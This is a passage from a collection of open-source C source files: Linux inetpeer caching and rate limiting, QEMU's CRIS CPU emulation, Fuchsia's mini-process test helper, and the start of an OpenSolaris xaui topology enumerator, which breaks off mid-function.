aggressive */ else ttl = inet_peer_maxttl - (inet_peer_maxttl - inet_peer_minttl) / HZ * base->total / inet_peer_threshold * HZ; for (i = 0; i < gc_cnt; i++) { p = gc_stack[i]; /* The READ_ONCE() pairs with the WRITE_ONCE() * in inet_putpeer() */ delta = (__u32)jiffies - READ_ONCE(p->dtime); if (delta < ttl || !refcount_dec_if_one(&p->refcnt)) gc_stack[i] = NULL; } for (i = 0; i < gc_cnt; i++) { p = gc_stack[i]; if (p) { rb_erase(&p->rb_node, &base->rb_root); base->total--; call_rcu(&p->rcu, inetpeer_free_rcu); } } } struct inet_peer *inet_getpeer(struct inet_peer_base *base, const struct inetpeer_addr *daddr, int create) { struct inet_peer *p, *gc_stack[PEER_MAX_GC]; struct rb_node **pp, *parent; unsigned int gc_cnt, seq; int invalidated; /* Attempt a lockless lookup first. * Because of a concurrent writer, we might not find an existing entry. */ rcu_read_lock(); seq = read_seqbegin(&base->lock); p = lookup(daddr, base, seq, NULL, &gc_cnt, &parent, &pp); invalidated = read_seqretry(&base->lock, seq); rcu_read_unlock(); if (p) return p; /* If no writer did a change during our lookup, we can return early. */ if (!create && !invalidated) return NULL; /* retry an exact lookup, taking the lock before. * At least, nodes should be hot in our cache. */ parent = NULL; write_seqlock_bh(&base->lock); gc_cnt = 0; p = lookup(daddr, base, seq, gc_stack, &gc_cnt, &parent, &pp); if (!p && create) { p = kmem_cache_alloc(peer_cachep, GFP_ATOMIC); if (p) { p->daddr = *daddr; p->dtime = (__u32)jiffies; refcount_set(&p->refcnt, 2); atomic_set(&p->rid, 0); p->metrics[RTAX_LOCK-1] = INETPEER_METRICS_NEW; p->rate_tokens = 0; p->n_redirects = 0; /* 60*HZ is arbitrary, but chosen enough high so that the first * calculation of tokens is at its maximum. */ p->rate_last = jiffies - 60*HZ; rb_link_node(&p->rb_node, parent, pp); rb_insert_color(&p->rb_node, &base->rb_root); base->total++; } } if (gc_cnt) inet_peer_gc(base, gc_stack, gc_cnt); write_sequnlock_bh(&base->lock); return p; } EXPORT_SYMBOL_GPL(inet_getpeer); void inet_putpeer(struct inet_peer *p) { /* The WRITE_ONCE() pairs with itself (we run lockless) * and the READ_ONCE() in inet_peer_gc() */ WRITE_ONCE(p->dtime, (__u32)jiffies); if (refcount_dec_and_test(&p->refcnt)) call_rcu(&p->rcu, inetpeer_free_rcu); } EXPORT_SYMBOL_GPL(inet_putpeer); /* * Check transmit rate limitation for given message. * The rate information is held in the inet_peer entries now. * This function is generic and could be used for other purposes * too. It uses a Token bucket filter as suggested by Alexey Kuznetsov. * * Note that the same inet_peer fields are modified by functions in * route.c too, but these work for packet destinations while xrlim_allow * works for icmp destinations. This means the rate limiting information * for one "ip object" is shared - and these ICMPs are twice limited: * by source and by destination. * * RFC 1812: 4.3.2.8 SHOULD be able to limit error message rate * SHOULD allow setting of rate limits * * Shared between ICMPv4 and ICMPv6. */ #define XRLIM_BURST_FACTOR 6 bool inet_peer_xrlim_allow(struct inet_peer *peer, int timeout) { unsigned long now, token; bool rc = false; if (!peer) return true; token = peer->rate_tokens; now = jiffies; token += now - peer->rate_last; peer->rate_last = now; if (token > XRLIM_BURST_FACTOR * timeout) token = XRLIM_BURST_FACTOR * timeout; if (token >= timeout) { token -= timeout; rc = true; } peer->rate_tokens = token; return rc; } EXPORT_SYMBOL(inet_peer_xrlim_allow); void inetpeer_invalidate_tree(struct inet_peer_base *base) { struct rb_node *p = rb_first(&base->rb_root); while (p) { struct inet_peer *peer = rb_entry(p, struct inet_peer, rb_node); p = rb_next(p); rb_erase(&peer->rb_node, &base->rb_root); inet_putpeer(peer); cond_resched(); } base->total = 0; } EXPORT_SYMBOL(inetpeer_invalidate_tree);
448102.c
/* * QEMU CRIS CPU * * Copyright (c) 2008 AXIS Communications AB * Written by Edgar E. Iglesias. * * Copyright (c) 2012 SUSE LINUX Products GmbH * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, see * <http://www.gnu.org/licenses/lgpl-2.1.html> */ #include "qemu/osdep.h" #include "qapi/error.h" #include "cpu.h" #include "qemu-common.h" #include "mmu.h" #include "exec/exec-all.h" static void cris_cpu_set_pc(CPUState *cs, vaddr value) { CRISCPU *cpu = CRIS_CPU(cs); cpu->env.pc = value; } static bool cris_cpu_has_work(CPUState *cs) { return cs->interrupt_request & (CPU_INTERRUPT_HARD | CPU_INTERRUPT_NMI); } /* CPUClass::reset() */ static void cris_cpu_reset(CPUState *s) { CRISCPU *cpu = CRIS_CPU(s); CRISCPUClass *ccc = CRIS_CPU_GET_CLASS(cpu); CPUCRISState *env = &cpu->env; uint32_t vr; ccc->parent_reset(s); vr = env->pregs[PR_VR]; memset(env, 0, offsetof(CPUCRISState, end_reset_fields)); env->pregs[PR_VR] = vr; #if defined(CONFIG_USER_ONLY) /* start in user mode with interrupts enabled. */ env->pregs[PR_CCS] |= U_FLAG | I_FLAG | P_FLAG; #else cris_mmu_init(env); env->pregs[PR_CCS] = 0; #endif } static ObjectClass *cris_cpu_class_by_name(const char *cpu_model) { ObjectClass *oc; char *typename; if (cpu_model == NULL) { return NULL; } #if defined(CONFIG_USER_ONLY) if (strcasecmp(cpu_model, "any") == 0) { return object_class_by_name("crisv32-" TYPE_CRIS_CPU); } #endif typename = g_strdup_printf("%s-" TYPE_CRIS_CPU, cpu_model); oc = object_class_by_name(typename); g_free(typename); if (oc != NULL && (!object_class_dynamic_cast(oc, TYPE_CRIS_CPU) || object_class_is_abstract(oc))) { oc = NULL; } return oc; } CRISCPU *cpu_cris_init(const char *cpu_model) { return CRIS_CPU(cpu_generic_init(TYPE_CRIS_CPU, cpu_model)); } /* Sort alphabetically by VR. */ static gint cris_cpu_list_compare(gconstpointer a, gconstpointer b) { CRISCPUClass *ccc_a = CRIS_CPU_CLASS(a); CRISCPUClass *ccc_b = CRIS_CPU_CLASS(b); /* */ if (ccc_a->vr > ccc_b->vr) { return 1; } else if (ccc_a->vr < ccc_b->vr) { return -1; } else { return 0; } } static void cris_cpu_list_entry(gpointer data, gpointer user_data) { ObjectClass *oc = data; CPUListState *s = user_data; const char *typename = object_class_get_name(oc); char *name; name = g_strndup(typename, strlen(typename) - strlen("-" TYPE_CRIS_CPU)); (*s->cpu_fprintf)(s->file, " %s\n", name); g_free(name); } void cris_cpu_list(FILE *f, fprintf_function cpu_fprintf) { CPUListState s = { .file = f, .cpu_fprintf = cpu_fprintf, }; GSList *list; list = object_class_get_list(TYPE_CRIS_CPU, false); list = g_slist_sort(list, cris_cpu_list_compare); (*cpu_fprintf)(f, "Available CPUs:\n"); g_slist_foreach(list, cris_cpu_list_entry, &s); g_slist_free(list); } static void cris_cpu_realizefn(DeviceState *dev, Error **errp) { CPUState *cs = CPU(dev); CRISCPUClass *ccc = CRIS_CPU_GET_CLASS(dev); Error *local_err = NULL; cpu_exec_realizefn(cs, &local_err); if (local_err != NULL) { error_propagate(errp, local_err); return; } cpu_reset(cs); qemu_init_vcpu(cs); ccc->parent_realize(dev, errp); } #ifndef CONFIG_USER_ONLY static void cris_cpu_set_irq(void *opaque, int irq, int level) { CRISCPU *cpu = opaque; CPUState *cs = CPU(cpu); int type = irq == CRIS_CPU_IRQ ? CPU_INTERRUPT_HARD : CPU_INTERRUPT_NMI; if (level) { cpu_interrupt(cs, type); } else { cpu_reset_interrupt(cs, type); } } #endif static void cris_disas_set_info(CPUState *cpu, disassemble_info *info) { CRISCPU *cc = CRIS_CPU(cpu); CPUCRISState *env = &cc->env; if (env->pregs[PR_VR] != 32) { info->mach = bfd_mach_cris_v0_v10; info->print_insn = print_insn_crisv10; } else { info->mach = bfd_mach_cris_v32; info->print_insn = print_insn_crisv32; } } static void cris_cpu_initfn(Object *obj) { CPUState *cs = CPU(obj); CRISCPU *cpu = CRIS_CPU(obj); CRISCPUClass *ccc = CRIS_CPU_GET_CLASS(obj); CPUCRISState *env = &cpu->env; static bool tcg_initialized; cs->env_ptr = env; env->pregs[PR_VR] = ccc->vr; #ifndef CONFIG_USER_ONLY /* IRQ and NMI lines. */ qdev_init_gpio_in(DEVICE(cpu), cris_cpu_set_irq, 2); #endif if (tcg_enabled() && !tcg_initialized) { tcg_initialized = true; if (env->pregs[PR_VR] < 32) { cris_initialize_crisv10_tcg(); } else { cris_initialize_tcg(); } } } static void crisv8_cpu_class_init(ObjectClass *oc, void *data) { CPUClass *cc = CPU_CLASS(oc); CRISCPUClass *ccc = CRIS_CPU_CLASS(oc); ccc->vr = 8; cc->do_interrupt = crisv10_cpu_do_interrupt; cc->gdb_read_register = crisv10_cpu_gdb_read_register; } static void crisv9_cpu_class_init(ObjectClass *oc, void *data) { CPUClass *cc = CPU_CLASS(oc); CRISCPUClass *ccc = CRIS_CPU_CLASS(oc); ccc->vr = 9; cc->do_interrupt = crisv10_cpu_do_interrupt; cc->gdb_read_register = crisv10_cpu_gdb_read_register; } static void crisv10_cpu_class_init(ObjectClass *oc, void *data) { CPUClass *cc = CPU_CLASS(oc); CRISCPUClass *ccc = CRIS_CPU_CLASS(oc); ccc->vr = 10; cc->do_interrupt = crisv10_cpu_do_interrupt; cc->gdb_read_register = crisv10_cpu_gdb_read_register; } static void crisv11_cpu_class_init(ObjectClass *oc, void *data) { CPUClass *cc = CPU_CLASS(oc); CRISCPUClass *ccc = CRIS_CPU_CLASS(oc); ccc->vr = 11; cc->do_interrupt = crisv10_cpu_do_interrupt; cc->gdb_read_register = crisv10_cpu_gdb_read_register; } static void crisv17_cpu_class_init(ObjectClass *oc, void *data) { CPUClass *cc = CPU_CLASS(oc); CRISCPUClass *ccc = CRIS_CPU_CLASS(oc); ccc->vr = 17; cc->do_interrupt = crisv10_cpu_do_interrupt; cc->gdb_read_register = crisv10_cpu_gdb_read_register; } static void crisv32_cpu_class_init(ObjectClass *oc, void *data) { CRISCPUClass *ccc = CRIS_CPU_CLASS(oc); ccc->vr = 32; } #define TYPE(model) model "-" TYPE_CRIS_CPU static const TypeInfo cris_cpu_model_type_infos[] = { { .name = TYPE("crisv8"), .parent = TYPE_CRIS_CPU, .class_init = crisv8_cpu_class_init, }, { .name = TYPE("crisv9"), .parent = TYPE_CRIS_CPU, .class_init = crisv9_cpu_class_init, }, { .name = TYPE("crisv10"), .parent = TYPE_CRIS_CPU, .class_init = crisv10_cpu_class_init, }, { .name = TYPE("crisv11"), .parent = TYPE_CRIS_CPU, .class_init = crisv11_cpu_class_init, }, { .name = TYPE("crisv17"), .parent = TYPE_CRIS_CPU, .class_init = crisv17_cpu_class_init, }, { .name = TYPE("crisv32"), .parent = TYPE_CRIS_CPU, .class_init = crisv32_cpu_class_init, } }; #undef TYPE static void cris_cpu_class_init(ObjectClass *oc, void *data) { DeviceClass *dc = DEVICE_CLASS(oc); CPUClass *cc = CPU_CLASS(oc); CRISCPUClass *ccc = CRIS_CPU_CLASS(oc); ccc->parent_realize = dc->realize; dc->realize = cris_cpu_realizefn; ccc->parent_reset = cc->reset; cc->reset = cris_cpu_reset; cc->class_by_name = cris_cpu_class_by_name; cc->has_work = cris_cpu_has_work; cc->do_interrupt = cris_cpu_do_interrupt; cc->cpu_exec_interrupt = cris_cpu_exec_interrupt; cc->dump_state = cris_cpu_dump_state; cc->set_pc = cris_cpu_set_pc; cc->gdb_read_register = cris_cpu_gdb_read_register; cc->gdb_write_register = cris_cpu_gdb_write_register; #ifdef CONFIG_USER_ONLY cc->handle_mmu_fault = cris_cpu_handle_mmu_fault; #else cc->get_phys_page_debug = cris_cpu_get_phys_page_debug; dc->vmsd = &vmstate_cris_cpu; #endif cc->gdb_num_core_regs = 49; cc->gdb_stop_before_watchpoint = true; cc->disas_set_info = cris_disas_set_info; } static const TypeInfo cris_cpu_type_info = { .name = TYPE_CRIS_CPU, .parent = TYPE_CPU, .instance_size = sizeof(CRISCPU), .instance_init = cris_cpu_initfn, .abstract = true, .class_size = sizeof(CRISCPUClass), .class_init = cris_cpu_class_init, }; static void cris_cpu_register_types(void) { int i; type_register_static(&cris_cpu_type_info); for (i = 0; i < ARRAY_SIZE(cris_cpu_model_type_infos); i++) { type_register_static(&cris_cpu_model_type_infos[i]); } } type_init(cris_cpu_register_types)
422613.c
// Copyright 2017 The Fuchsia Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include <mini-process/mini-process.h> #include <dlfcn.h> #include <elfload/elfload.h> #include <lib/elf-psabi/sp.h> #include <stdint.h> #include <zircon/process.h> #include <zircon/processargs.h> #include <zircon/status.h> #include <zircon/syscalls.h> #include "subprocess.h" static void* get_syscall_addr(const void* syscall_fn, uintptr_t vdso_base) { Dl_info dl_info; if (dladdr(syscall_fn, &dl_info) == 0) return 0; return (void*)(vdso_base + ((uintptr_t)dl_info.dli_saddr - (uintptr_t)dl_info.dli_fbase)); } static zx_status_t write_ctx_message( zx_handle_t channel, uintptr_t vdso_base, zx_handle_t transferred_handle) { minip_ctx_t ctx = { .handle_close = get_syscall_addr(&zx_handle_close, vdso_base), .object_wait_async = get_syscall_addr(&zx_object_wait_async, vdso_base), .object_wait_one = get_syscall_addr(&zx_object_wait_one, vdso_base), .object_signal = get_syscall_addr(&zx_object_signal, vdso_base), .event_create = get_syscall_addr(&zx_event_create, vdso_base), .profile_create = get_syscall_addr(&zx_profile_create, vdso_base), .channel_create = get_syscall_addr(&zx_channel_create, vdso_base), .channel_read = get_syscall_addr(&zx_channel_read, vdso_base), .channel_write = get_syscall_addr(&zx_channel_write, vdso_base), .process_exit = get_syscall_addr(&zx_process_exit, vdso_base), .object_get_info = get_syscall_addr(&zx_object_get_info, vdso_base), .port_cancel = get_syscall_addr(&zx_port_cancel, vdso_base), .port_create = get_syscall_addr(&zx_port_create, vdso_base), .pager_create = get_syscall_addr(&zx_pager_create, vdso_base), .pager_create_vmo = get_syscall_addr(&zx_pager_create_vmo, vdso_base), .vmo_contiguous_create = get_syscall_addr(&zx_vmo_create_contiguous, vdso_base), .vmo_physical_create = get_syscall_addr(&zx_vmo_create_physical, vdso_base), .vmo_replace_as_executable = get_syscall_addr(&zx_vmo_replace_as_executable, vdso_base) }; return zx_channel_write(channel, 0u, &ctx, sizeof(ctx), &transferred_handle, 1u); } // Sets up a VMO on the given VMAR which contains the mini process code and space for a stack. zx_status_t mini_process_load_stack(zx_handle_t vmar, bool with_code, zx_vaddr_t* stack_base, zx_vaddr_t* sp) { // Allocate a single VMO for the child. It doubles as the stack on the top and // as the executable code (minipr_thread_loop()) at the bottom. In theory, actual // stack usage is minimal, like 160 bytes or less. uint64_t stack_size = 16 * 1024u; zx_handle_t stack_vmo = ZX_HANDLE_INVALID; zx_status_t status = zx_vmo_create(stack_size, 0, &stack_vmo); if (status != ZX_OK) return status; // Try to set the name, but ignore any errors since it's purely for // debugging and diagnostics. static const char vmo_name[] = "mini-process:stack"; zx_object_set_property(stack_vmo, ZX_PROP_NAME, vmo_name, sizeof(vmo_name)); zx_vm_option_t perms = ZX_VM_PERM_READ | ZX_VM_PERM_WRITE; if (with_code) { // We assume that the code to execute is less than kSizeLimit bytes. const uint32_t kSizeLimit = 2000; status = zx_vmo_write(stack_vmo, &minipr_thread_loop, 0u, kSizeLimit); if (status != ZX_OK) goto exit; // TODO(mdempsky): Separate minipr_thread_loop and stack into // separate VMOs to enforce W^X. status = zx_vmo_replace_as_executable(stack_vmo, ZX_HANDLE_INVALID, &stack_vmo); if (status != ZX_OK) goto exit; perms |= ZX_VM_PERM_EXECUTE; } status = zx_vmar_map(vmar, perms, 0, stack_vmo, 0, stack_size, stack_base); if (status != ZX_OK) goto exit; // Compute a valid starting SP for the machine's ABI. *sp = compute_initial_stack_pointer(*stack_base, stack_size); exit: // Close the VMO handle no matter what; if we failed we want to release it, and if // we succeeded the VMAR retains a reference to it so we don't need a handle. zx_handle_close(stack_vmo); return status; } zx_status_t mini_process_load_vdso(zx_handle_t process, zx_handle_t vmar, uintptr_t* base, uintptr_t* entry) { // This is not thread-safe. It steals the startup handle, so it's not // compatible with also using launchpad (which also needs to steal the // startup handle). static zx_handle_t vdso_vmo = ZX_HANDLE_INVALID; if (vdso_vmo == ZX_HANDLE_INVALID) { vdso_vmo = zx_take_startup_handle(PA_HND(PA_VMO_VDSO, 0)); if (vdso_vmo == ZX_HANDLE_INVALID) { return ZX_ERR_INTERNAL; } } elf_load_header_t header; uintptr_t phoff; zx_status_t status = elf_load_prepare(vdso_vmo, NULL, 0, &header, &phoff); if (status == ZX_OK) { elf_phdr_t phdrs[header.e_phnum]; status = elf_load_read_phdrs(vdso_vmo, phdrs, phoff, header.e_phnum); if (status == ZX_OK) { status = elf_load_map_segments(vmar, &header, phdrs, vdso_vmo, NULL, base, entry); } } return status; } zx_status_t mini_process_wait_for_ack(zx_handle_t control_channel) { zx_signals_t observed; zx_status_t status = zx_object_wait_one( control_channel, ZX_CHANNEL_READABLE | ZX_CHANNEL_PEER_CLOSED, ZX_TIME_INFINITE, &observed); if (status != ZX_OK) { return status; } if (observed & ZX_CHANNEL_PEER_CLOSED) { // the child process died prematurely. return ZX_ERR_UNAVAILABLE; } if (observed & ZX_CHANNEL_READABLE) { uint32_t ack[2]; uint32_t actual_handles; uint32_t actual_bytes; status = zx_channel_read(control_channel, 0u, ack, NULL, sizeof(uint32_t) * 2, 0u, &actual_bytes, &actual_handles); } else { status = ZX_ERR_BAD_STATE; } return status; } zx_status_t start_mini_process_etc(zx_handle_t process, zx_handle_t thread, zx_handle_t vmar, zx_handle_t transferred_handle, bool wait_for_ack, zx_handle_t* control_channel) { zx_vaddr_t stack_base = 0; zx_vaddr_t sp = 0; zx_status_t status = mini_process_load_stack(vmar, true, &stack_base, &sp); if (status != ZX_OK) return status; zx_handle_t chn[2] = { ZX_HANDLE_INVALID, ZX_HANDLE_INVALID }; if (!control_channel) { // Simple mode ///////////////////////////////////////////////////////////// // Don't map the VDSO, so the only thing the mini-process can do is busy-loop. // The handle sent to the process is just the caller's handle. status = zx_process_start(process, thread, stack_base, sp, transferred_handle, 0); transferred_handle = ZX_HANDLE_INVALID; } else { // Complex mode //////////////////////////////////////////////////////////// // The mini-process is going to run a simple request-response over a channel // So we need to: // 1- map the VDSO in the child process, without launchpad. // 2- create a channel and give one end to the child process. // 3- send a message with the rest of the syscall function addresses. // 4- wait for reply. status = zx_channel_create(0u, &chn[0], &chn[1]); if (status != ZX_OK) goto exit; uintptr_t vdso_base = 0; status = mini_process_load_vdso(process, vmar, &vdso_base, NULL); if (status != ZX_OK) goto exit; status = write_ctx_message(chn[0], vdso_base, transferred_handle); transferred_handle = ZX_HANDLE_INVALID; if (status != ZX_OK) goto exit; uintptr_t channel_read = (uintptr_t)get_syscall_addr(&zx_channel_read, vdso_base); status = zx_process_start(process, thread, stack_base, sp, chn[1], channel_read); chn[1] = ZX_HANDLE_INVALID; if (status != ZX_OK) goto exit; if (wait_for_ack) { status = mini_process_wait_for_ack(chn[0]); if (status != ZX_OK) { goto exit; } } *control_channel = chn[0]; chn[0] = ZX_HANDLE_INVALID; } exit: if (transferred_handle != ZX_HANDLE_INVALID) zx_handle_close(transferred_handle); if (chn[0] != ZX_HANDLE_INVALID) zx_handle_close(chn[0]); if (chn[1] != ZX_HANDLE_INVALID) zx_handle_close(chn[1]); return status; } zx_status_t mini_process_cmd_send(zx_handle_t cntrl_channel, uint32_t what) { minip_cmd_t cmd = { .what = what, .status = ZX_OK }; return zx_channel_write(cntrl_channel, 0, &cmd, sizeof(cmd), NULL, 0); } zx_status_t mini_process_cmd_read_reply(zx_handle_t cntrl_channel, zx_handle_t* handle) { zx_status_t status = zx_object_wait_one( cntrl_channel, ZX_CHANNEL_READABLE | ZX_CHANNEL_PEER_CLOSED, ZX_TIME_INFINITE, NULL); if (status != ZX_OK) return status; minip_cmd_t reply; uint32_t handle_count = handle ? 1 : 0; uint32_t actual_bytes = 0; uint32_t actual_handles = 0; status = zx_channel_read(cntrl_channel, 0, &reply, handle, sizeof(reply), handle_count, &actual_bytes, &actual_handles); if (status != ZX_OK) return status; return reply.status; } zx_status_t mini_process_cmd(zx_handle_t cntrl_channel, uint32_t what, zx_handle_t* handle) { zx_status_t status = mini_process_cmd_send(cntrl_channel, what); if (status != ZX_OK) return status; return mini_process_cmd_read_reply(cntrl_channel, handle); } zx_status_t start_mini_process(zx_handle_t job, zx_handle_t transferred_handle, zx_handle_t* process, zx_handle_t* thread) { *process = ZX_HANDLE_INVALID; zx_handle_t vmar = ZX_HANDLE_INVALID; zx_handle_t channel = ZX_HANDLE_INVALID; zx_status_t status = zx_process_create(job, "minipr", 6u, 0u, process, &vmar); if (status != ZX_OK) goto exit; *thread = ZX_HANDLE_INVALID; status = zx_thread_create(*process, "minith", 6u, 0, thread); if (status != ZX_OK) goto exit; status = start_mini_process_etc(*process, *thread, vmar, transferred_handle, true, &channel); transferred_handle = ZX_HANDLE_INVALID; // The transferred_handle gets consumed. exit: if (status != ZX_OK) { if (transferred_handle != ZX_HANDLE_INVALID) zx_handle_close(transferred_handle); if (*process != ZX_HANDLE_INVALID) zx_handle_close(*process); if (*thread != ZX_HANDLE_INVALID) zx_handle_close(*thread); } if (channel != ZX_HANDLE_INVALID) zx_handle_close(channel); return status; } zx_status_t start_mini_process_thread(zx_handle_t thread, zx_handle_t vmar) { zx_vaddr_t stack_base = 0; zx_vaddr_t sp = 0; zx_status_t status = mini_process_load_stack(vmar, true, &stack_base, &sp); if (status != ZX_OK) return status; return zx_thread_start(thread, stack_base, sp, 0, 0); }
405155.c
/* * CDDL HEADER START * * The contents of this file are subject to the terms of the * Common Development and Distribution License (the "License"). * You may not use this file except in compliance with the License. * * You can obtain a copy of the license at usr/src/OPENSOLARIS.LICENSE * or http://www.opensolaris.org/os/licensing. * See the License for the specific language governing permissions * and limitations under the License. * * When distributing Covered Code, include this CDDL HEADER in each * file and include the License file at usr/src/OPENSOLARIS.LICENSE. * If applicable, add the following below this CDDL HEADER, with the * fields enclosed by brackets "[]" replaced with your own identifying * information: Portions Copyright [yyyy] [name of copyright owner] * * CDDL HEADER END */ /* * Copyright 2010 Sun Microsystems, Inc. All rights reserved. * Use is subject to license terms. */ #include <strings.h> #include <fm/topo_mod.h> #include <fm/topo_hc.h> #include <sys/fm/protocol.h> #include <sys/fm/ldom.h> #include <sys/mdesc.h> #include <assert.h> #include <sys/systeminfo.h> #include "xaui.h" /* * xaui.c * sun4v specific xaui enumerators */ #ifdef __cplusplus extern "C" { #endif #define XAUI_VERSION TOPO_VERSION #define XFP_MAX 1 /* max number of xfp per xaui card */ static int xaui_enum(topo_mod_t *, tnode_t *, const char *, topo_instance_t, topo_instance_t, void *, void *); static const topo_modops_t xaui_ops = { xaui_enum, NULL }; const topo_modinfo_t xaui_info = {XAUI, FM_FMRI_SCHEME_HC, XAUI_VERSION, &xaui_ops}; static const topo_pgroup_info_t xaui_auth_pgroup = { FM_FMRI_AUTHORITY, TOPO_STABILITY_PRIVATE, TOPO_STABILITY_PRIVATE, 1 }; static topo_mod_t *xaui_mod_hdl = NULL; static int freeprilabel = 0; static int ispci = 0; /*ARGSUSED*/ void _topo_init(topo_mod_t *mod, topo_version_t version) { /* * Turn on module debugging output */ if (getenv("TOPOXAUIDBG") != NULL) topo_mod_setdebug(mod); topo_mod_dprintf(mod, "initializing xaui enumerator\n"); if (topo_mod_register(mod, &xaui_info, TOPO_VERSION) < 0) { topo_mod_dprintf(mod, "xaui registration failed: %s\n", topo_mod_errmsg(mod)); return; /* mod errno already set */ } topo_mod_dprintf(mod, "xaui enum initd\n"); } void _topo_fini(topo_mod_t *mod) { topo_mod_unregister(mod); } static tnode_t * xaui_tnode_create(topo_mod_t *mod, tnode_t *parent, const char *name, topo_instance_t i, void *priv) { int err; nvlist_t *fmri; tnode_t *ntn; nvlist_t *auth = topo_mod_auth(mod, parent); fmri = topo_mod_hcfmri(mod, parent, FM_HC_SCHEME_VERSION, name, i, NULL, auth, NULL, NULL, NULL); nvlist_free(auth); if (fmri == NULL) { topo_mod_dprintf(mod, "Unable to make nvlist for %s bind: %s.\n", name, topo_mod_errmsg(mod)); return (NULL); } ntn = topo_node_bind(mod, parent, name, i, fmri); nvlist_free(fmri); if (ntn == NULL) { topo_mod_dprintf(mod, "topo_node_bind (%s%d/%s%d) failed: %s\n", topo_node_name(parent), topo_node_instance(parent), name, i, topo_strerror(topo_mod_errno(mod))); return (NULL); } topo_node_setspecific(ntn, priv); if (topo_pgroup_create(ntn, &xaui_auth_pgroup, &err) == 0) { (void) topo_prop_inherit(ntn, FM_FMRI_AUTHORITY, FM_FMRI_AUTH_PRODUCT, &err); (void) topo_prop_inherit(ntn, FM_FMRI_AUTHORITY, FM_FMRI_AUTH_PRODUCT_SN, &err); (void) topo_prop_inherit(ntn, FM_FMRI_AUTHORITY, FM_FMRI_AUTH_CHASSIS, &err); (void) topo_prop_inherit(ntn, FM_FMRI_AUTHORITY, FM_FMRI_AUTH_SERVER, &err); } return (ntn); } static int xaui_fru_set(topo_mod_t *mp, tnode_t *tn) { nvlist_t *fmri; int err, e; if (topo_node_resource(tn, &fmri, &err) < 0 || fmri == NULL) { topo_mod_dprintf(mp, "FRU_fmri_set error: %s\n", topo_strerror(topo_mod_errno(mp))); return (topo_mod_seterrno(mp, err)); } e = topo_node_fru_set(tn, fmri, 0, &err); nvlist_free(fmri); if (e < 0) return (topo_mod_seterrno(mp, err)); return (0); } static void * xaui_topo_alloc(size_t size) { assert(xaui_mod_hdl != NULL); return (topo_mod_alloc(xaui_mod_hdl, size)); } static void xaui_topo_free(void *data, size_t size) { assert(xaui_mod_hdl != NULL); topo_mod_free(xaui_mod_hdl, data, size); } /* * Remove the 3 character device name (pci/niu) from devfs path. */ static char * xaui_trans_str(topo_mod_t *mod, char *dn, char *p, size_t buf_len) { int i = 0; int j = 0; char buf[MAXPATHLEN]; topo_mod_dprintf(mod, "xaui_trans_str: dev path(%s) dev name(%s)\n", dn, p); do { /* strip out either "pci" or "niu" */ if (dn[i] == p[0] && dn[i + 1] == p[1] && dn[i + 2] == p[2]) i += 3; else buf[j++] = dn[i++]; } while (i < buf_len); topo_mod_dprintf(mod, "xaui_trans_str: return(%s)\n", buf); return (topo_mod_strdup(mod, (char *)buf)); } static char * xaui_get_path(topo_mod_t *mod, void *priv, topo_instance_t inst) { di_node_t dnode; char *devfs_path; char *path; char *buf = NULL; size_t buf_len; size_t dev_path_len; size_t path_len; /* * There are two ways to get here: * 1. niu enum - private data is the di_node_t for this xaui * - instance is the ethernet function number * device path looks like: /niu@80/network@0:nxge@0 * PRI path looks like: /@80/@0 * * 2. pcibus enum - private data is the parent tnode_t * - instance is the pci function number * device path looks like: /pci@500/pci@0/pci@8/network@0:nxge0 * PRI path looks like: /@500/@0/@8/@0 * * PRI path for pciex is /@Bus/@Dev/@Func/@Instance */ if (ispci == 1) { /* coming from pcibus */ topo_mod_dprintf(mod, "from pcibus\n"); dnode = topo_node_getspecific((tnode_t *)priv); } else { /* coming from niu */ topo_mod_dprintf(mod, "from niu\n"); dnode = (struct di_node *)priv; } if (dnode == DI_NODE_NIL) { topo_mod_dprintf(mod, "DI_NODE_NIL\n"); return (NULL); } /* get device path */ devfs_path = di_devfs_path(dnode); if (devfs_path == NULL) { topo_mod_dprintf(mod, "NULL devfs_path\n"); return (NULL); } topo_mod_dprintf(mod, "devfs_path (%s)\n", devfs_path); dev_path_len = strlen(devfs_path) + 1; /* remove device name from path */ if (ispci == 1) { topo_mod_dprintf(mod, "ispci\n"); buf = xaui_trans_str(mod, devfs_path, "pci", dev_path_len); buf_len = strlen(buf) + 1; } else { buf = xaui_trans_str(mod, devfs_path, "niu", dev_path_len); buf_len = strlen(buf) + 1; } di_devfs_path_free(devfs_path); /* lop off "/network@" */ buf[(strstr(buf, "/network@") - buf)] = '\0'; /* path: transposed address + '/@instance' (0/1) + '\0' */ path_len = strlen(buf) + 3 + 1; path = (char *)xaui_topo_alloc(path_len); if (snprintf(path, path_len, "%s/@%d", buf, inst) < 0) { topo_mod_dprintf(mod, "snprintf failed\n"); path = NULL; } xaui_topo_free(buf, buf_len); /* should return something like /@500/@0/@8/@0 or /@80/@0 */ topo_mod_dprintf(mod, "xaui_get_path: path(%s)\n", path); return (path); } static int xaui_get_pri_label(topo_mod_t *mod, topo_instance_t n, void *priv, char **labelp) { ldom_hdl_t *hdlp; uint32_t type = 0; ssize_t bufsize = 0; uint64_t *bufp; md_t *mdp; int num_nodes, ncomp; mde_cookie_t *listp; char *pstr = NULL; int i; char *path; /* Get device path minus the device names */ path = xaui_get_path(mod, priv, n); if (path == NULL) { topo_mod_dprintf(mod, "can't get path\n"); return (-1); } hdlp = ldom_init(xaui_topo_alloc, xaui_topo_free); if (hdlp == NULL) { topo_mod_dprintf(mod, "ldom_init failed\n"); return (-1); } (void) ldom_get_type(hdlp, &type); if ((type & LDOM_TYPE_CONTROL) != 0) { bufsize = ldom_get_core_md(hdlp, &bufp); } else { bufsize = ldom_get_local_md(hdlp, &bufp); } if (bufsize < 1) { topo_mod_dprintf(mod, "failed to get pri/md (%d)\n", bufsize); ldom_fini(hdlp); return (-1); } if ((mdp = md_init_intern(bufp, xaui_topo_alloc, xaui_topo_free)) == NULL || (num_nodes = md_node_count(mdp)) < 1) { topo_mod_dprintf(mod, "md_init_intern failed\n"); xaui_topo_free(bufp, (size_t)bufsize); ldom_fini(hdlp); return (-1); } if ((listp = (mde_cookie_t *)xaui_topo_alloc( sizeof (mde_cookie_t) * num_nodes)) == NULL) { 